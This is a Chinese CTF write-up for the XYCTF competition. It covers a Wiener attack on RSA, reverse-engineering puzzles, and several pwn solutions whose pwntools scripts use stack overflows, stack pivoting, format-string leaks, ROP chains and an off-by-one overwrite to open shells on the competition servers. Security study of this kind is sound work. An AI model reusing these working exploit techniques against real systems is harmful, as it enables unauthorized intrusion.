misc

签到

没啥好说的flag:XYCTF{WELCOME_TO_XYCTF}

TCPL

  • 根据题目提示:运行就会有flag
  • 下载附件用IDA反汇编得知,该程序不是amd64架构的程序,而是RISC-V架构的程序。

image-20240516170008431

  • 接下来就使用qemu和在Ubuntu上搭建RISC-V交叉编译的环境,运行该程序即可得到flag

image-20240413115657712

  • 运行得到flag:FLAG{PLCT_An4_r1SCv_x1huann1},再根据题目要求把1变成0
  • 最终得到flag:FLAG{PLCT_An4_r0SCv_x0huann0}

crypto

factor1

  • 题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import gmpy2
import hashlib
from Crypto.Util.number import *


p = getPrime(512)
q = getPrime(512)
d = getPrime(512)
e = gmpy2.invert(d, (p**3 - 1) * (q**3 - 1))
flag = "XYCTF{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"
print(e)
print(p * q)

# 172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163
# 99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793

  • 思路:
1
2
3
使用n**3次方用维纳攻击去打可以得到d
# 就知道了N、e可以用连分数法求d
# 知道e、n、d就可以分解p和q,然后就可以得到flag
  • exp
  1. 求d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import gmpy2
import libnum

def continuedFra(x, y):
"""计算连分数
:param x: 分子
:param y: 分母
:return: 连分数列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
"""计算传入列表最后的渐进分数
:param cf: 连分数列表
:return: 该列表最后的渐近分数
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
"""使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的系数
:param b:x的系数
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
"""计算列表所有的渐近分数
:param cf: 连分数列表
:return: 该列表所有的渐近分数
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf


def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私钥d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d


n= 99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793
e= 172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163
c= 30443384983816710270001651296607959522389400057103143909277631290995899073895621701281106228069835965181342091582584186637031613250922961166298411359757600825556083868477673357860585539016515776933117915504873987178857740106223631465737111746470236003857656528610755145017342412306680097140732745012583119076
n=n**3
print(n)
d=wienerAttack(e, n)
print(d)
#d=8447122254265361577759220083550460887840558233627984117576685838469227480934556534673167325385487344741530262745308367064419215281251764917289925433582347
  1. 分解p、q(用Sage)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
n=99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793

e=172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163


d=8447122254265361577759220083550460887840558233627984117576685838469227480934556534673167325385487344741530262745308367064419215281251764917289925433582347

b = e * d - 1
while (b % 2 == 0):
b = b /2
else:
t = int(b)
a = 2
while (a < n):
x = power_mod(a, t, n) - 1
d = gcd (x,n)
a += 1
if (d != 1) and (d != n):
p = d
q = n // d
print(d)
print(n // d)
break
  1. 得到flag
1
2
3
4
5
6
7
8
import gmpy2
import hashlib
from Crypto.Util.number import *
p = 10754959493573546439510276829300246769373124436128170955050379041986504869221750743052397622171703140881050431144683659643071578143360949942206693325622779
q = 9212046353930376594996890089494718736894378991991381248242532319628627449681664076081705664941905594411935750003102856235503684466394327681725704255564467
flag = "XYCTF{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"
print(flag)
# XYCTF{a83211a70e18145a59671c08ddc67ba4}

PWN

baby_gift(复现)

  • 先查看一下这个程序的保护机制:发现没有开启PIEcanary

image-20250125104254064

  • 直接反使用IDA pro反编译该程序,先查看main函数,main函数就这两个自定义函数

image-20250125104352107

  • 再来查看Menu函数,这个函数就输入输出初始化一下,然后输入Login...

image-20250125104431920

  • 接下来查看GetInfo函数,发现是先向s输入32字节,再向v2输入64字节,当向v2输入字节的时候会发生栈溢出。

image-20250125104517076

  • 这里还注意到一个地方就是Gift这边,像这种很显然给的是汇编代码

image-20250125104644945

  • 这段汇编会将rdi的值保存在[rbp-8]这个栈地址中

image-20250125104740141

  • 很显然,这边是一个ret2libc的题目,接下来我们动态调试一下,查看mov [rbp+var8],rdi具体是什么作用。先不用管这个地方,先来泄露一下libc的地址。
  • 我们先使用Ropgadget查看一下gadget,这时我们会发现一个问题,就是没有pop rdi这个汇编代码

image-20250125161946253

  • 这时我们就需要使用printf这个格式化字符串漏洞来进行libc地址的泄露,这里在调用printf函数的时候还需要注意一点就是rax需要为0。在我们进行第一次栈溢出的同时还要进行栈迁移,这样之后我们才能更好的布置栈帧。
  • 所以我们第一次输入的内容随便输入即可,而第二次输入的内容就要使用格式化字符串%p泄露地址(具体是多少偏移还需要再确定一下)

image-20250125162421728

  • 然后来查看一下汇编指令,这边注意到有leave就可以进行栈迁移,所以我们在覆盖rbp的时候就要先进行一次栈迁移。之后覆盖返回地址到0x401274这边,这样我们就可以进行格式化字符串泄露libc地址(对于rdi寄存器在lea rax,[rbp+var_20]mov rdi,rax这边就已经确定了rdi为我们第二次输入的栈地址)

image-20250125162600539

  • 此时我们使用%7$p泄露的就是__libc_start_call_main+128的地址

image-20250125163202794

  • 现在泄露了libc地址,我们就可以在libc中找gadget了,并且我们已经进行了栈迁移,所以布置栈帧就没有什么难度了,这边还要注意一下栈对齐,所以我们在寻找栈迁移的时候要选择0xXXXX80x8结尾的地址,因为我们只有0x40字节的输入,不能再填入ret的地址进行栈对齐。这时system("/bin/sh")还会出现问题,所以直接打ogg
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(log_level='debug')
p = remote('gz.imxbt.cn',20040)
#p = process('./vuln')
#gdb.attach(p)
payload = b'a'
p.sendline(payload)
bss_addr = 0x404528
mov_rax = 0x401274
payload2 = b'%7$p'+b'a'*0x1c + p64(bss_addr) + p64(mov_rax)
pause()
p.sendline(payload2)
p.recvuntil(b'Your passwd:\n')
libc_start = p.recvline()[:14]
print('libc--->',libc_start)
libc_start = int(libc_start,16)
libc_addr = libc_start - 0x29D90
#pop_rdi = libc_addr + 0x2a3e5
#sys_addr = libc_addr + 0x50D70
#sh_addr = libc_addr + 0x1D8678
#ret = 0x29139+libc_addr
pop_rdi = libc_addr + 0x2a3e5
sys_addr= libc_addr + 0x50D70
sh_addr = libc_addr + 0x1D8678
ret = 0x29139+libc_addr
ogg = libc_addr + 0xebc81
payload3 = b'a'*0x20
payload3+=p64(bss_addr-0x20) + p64(ogg)# + p64(sh_addr) + p64(sys_addr)
p.sendline(payload3)
p.interactive()

malloc_flag(复现)

  • 这题才是签到题,当时因为对malloc的恐惧就不想看了。结果就是一个把堆申请回来的题目。IDA反汇编后的代码还有点长

  • 逆出来的程序部分

image-20240503164237694

image-20240503164246596

image-20240503164310452

  • 实际上flag已经保存在了之前申请的那块堆里,了解一下堆的申请机制就可以知道应该怎样得到flag了

image-20240503164451780

  • 看给的文件,很大没有没有给libc库,静态编译的题目,IDA反汇编后也给了提示,这边Syscall函数不能再IDA左边的函数框中直接搜索出来,要在代码段中才能搜索出来。因为这边没有单纯的Syscall系统调用,只有给定系统调用号后再syscall的一些函数。
  • 发现没有/bin/sh字串,要调用系统函数写入可写段。

image-20240408010122888

  • 思路:栈溢出,构造rop链,syscall,写入/bin/sh,再构造rop链,syscall得到shell
  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#io = process('./vuln')
io = remote('xyctf.top',55519)
context.arch = 'amd64'
context.os = 'Linux'
context.endian = 'little'
context.log_level = 'debug'

#gdb.attach(io)

e = ELF('./vuln')
over_flow = b'a'*0x28
#pop_rax_rdx_rbx_ret = 0x47f16a
pop_rdi_ret = 0x401f1f
pop_rsi_ret = 0x409f8e
pop_rax_ret = 0x447fe7
pop_rdx_ret = 0x451322
bin_sh_addr = 0x4CC618
payload = over_flow
syscall_addr = 0x47302C
payload += p64(pop_rax_ret) +p64(0) + p64(pop_rdi_ret)+ p64(0)+ p64(pop_rsi_ret) + p64(bin_sh_addr) + p64(pop_rdx_ret) +p64(8) + p64(syscall_addr)
payload += p64(pop_rax_ret) + p64(0x3b) +p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) +p64(0) + p64(syscall_addr)
# p64(0x2F62696E2F7368)
io.sendlineafter(b'static_link? ret2??\n',payload)
io.send(b'/bin/sh\x00')
io.interactive()

hello_world

  • 发现有给libc文件和ld文件,可以patchelf。

  • IDA反编译,发现有printf函数,但是没有格式化字符串漏洞

image-20240408011154121

  • 查看源文件的rop链,发现vuln文件没有rop链,然后再查看libc.so库发现有rop链

image-20240408010826108

image-20240408010955596

  • 思路:利用read危险函数进行栈溢出操作,然后再用printf函数泄露靶机的libc地址,再在libc中构造rop链,得到shell

  • exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.os = 'Linux'
context.arch = 'amd64'
context.endian = 'little'
context.log_level = 'debug'

#io = process('./vuln')
io = remote('xyctf.top',41372)
#gdb.attach(io)

e = ELF('./vuln')
libc1 = ELF('./libc.so.6')
libc2 = ELF('./ld-linux-x86-64.so.2')
pop_rdi_ret = 0x2a3e5
bin_addr = 0x1D8678
sys_addr = 0x50D8B
io.sendlineafter(b'please input your name:', b'a'*0x27)
io.recvuntil(b"\n")
libc_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('libc',hex(libc_addr))

libc_addr = libc_addr - 0x29D90
bin_addr = libc_addr + bin_addr
pop_rdi_ret = libc_addr + pop_rdi_ret
sys_addr = sys_addr + libc_addr
print(hex(libc_addr))
print(hex(bin_addr))
print(hex(pop_rdi_ret))
print(hex(sys_addr))

over_flow = b'a'*0x28 + p64(pop_rdi_ret)+ p64(bin_addr) + p64(sys_addr) # + p64(0x0) + p64(0x0) + p64(0x0)
io.sendlineafter(b'please input your name:',over_flow)
#io.sendline(over_flow)
#io.sendlineafter(b'\n',b'cat flag')
io.interactive()
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000002a3e5 : pop rdi ; ret
# 0x0000000000045eb0 : pop rax ; ret

guestbook1(复现)

  • 我们先来check以下该程序,发现没有开启pie也没有开启Canary和开启了部分RELRO保护

image-20250125173404480

  • 现在我们再来查看一下反编译后的代码main函数就没什么好说的了,就是一个初始化输入输出和调用GuestBook函数

image-20250125173506718

  • 接下来查看GuestBook函数,这里存在数组越界的问题,而且这里id[32]刚好可以修改rbp地址中的最后一个字节,存在off-by-one的漏洞

image-20250125173607696

  • 这边动态调试可以看到,当我对id[32]进行输入之前rbp的所指向地址里面的值最后一字节为0x30

image-20250125174328877

  • 这时我输入0,最后一字节就会变成0x0

image-20250125174440355

  • 而之后会发生两次栈迁移,第一次是将要退出GuestBook函数的时候

image-20250125174528823

  • 第二次是main函数将要返回的时候

image-20250125174616495

  • 利用这俩次的栈迁移,再加上off-by-one就能修改rsp指针的值,从而有机会控制返回地址

  • 这时我们还发现了一个后门

image-20250125174808914

  • 所以我们将name[index]的值都写入backdoor_addr就有机会通过ret返回到backdoor,这里注意在进行off-by-one的时候,由于栈对齐的原因,需要修改为0x8结尾的栈地址,才能getshell

image-20250125174826418

  • 所以exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level='debug')
#p = process('./pwn')
p = remote('gz.imxbt.cn',20049)
def msg(index,name,id1):
p.sendline(str(index).encode('utf-8'))
p.sendline(name)
p.sendline(str(id1).encode('utf-8'))

for i in range(33):
msg(i,p64(0x401323)+p64(0x401323),0x8)

#gdb.attach(p)
pause()
p.sendline(b'-1')
p.interactive()

re

聪明的信使

  • IDA反汇编,查看代码,发现是简单的凯撒密码,偏移量为9

image-20240408005556917

image-20240408005616972

  • 得到flag:flag{Y0u_KnOw_Crypt0_14_v3ry_Imp0rt@nt!}

image-20240408005737863

喵喵喵的flag碎了一地

  • 根据提示找flag,字串找,函数找,第三个提示在所找的第二个函数里面

image-20240408004821041

  • 字符串:flag{My_fl@g_h4s_

image-20240408004929027

  • 函数:br0ken_4parT_与提示

image-20240408005012520

image-20240408005023733

  • 根据提示:交叉引用,到汇编界面,点击交叉引用处跳转

image-20240408005134018

  • 得到flag:flag{My_fl@g_h4s_br0ken_4parT_Bu7_You_c@n_f1x_1t!}

image-20240408005223692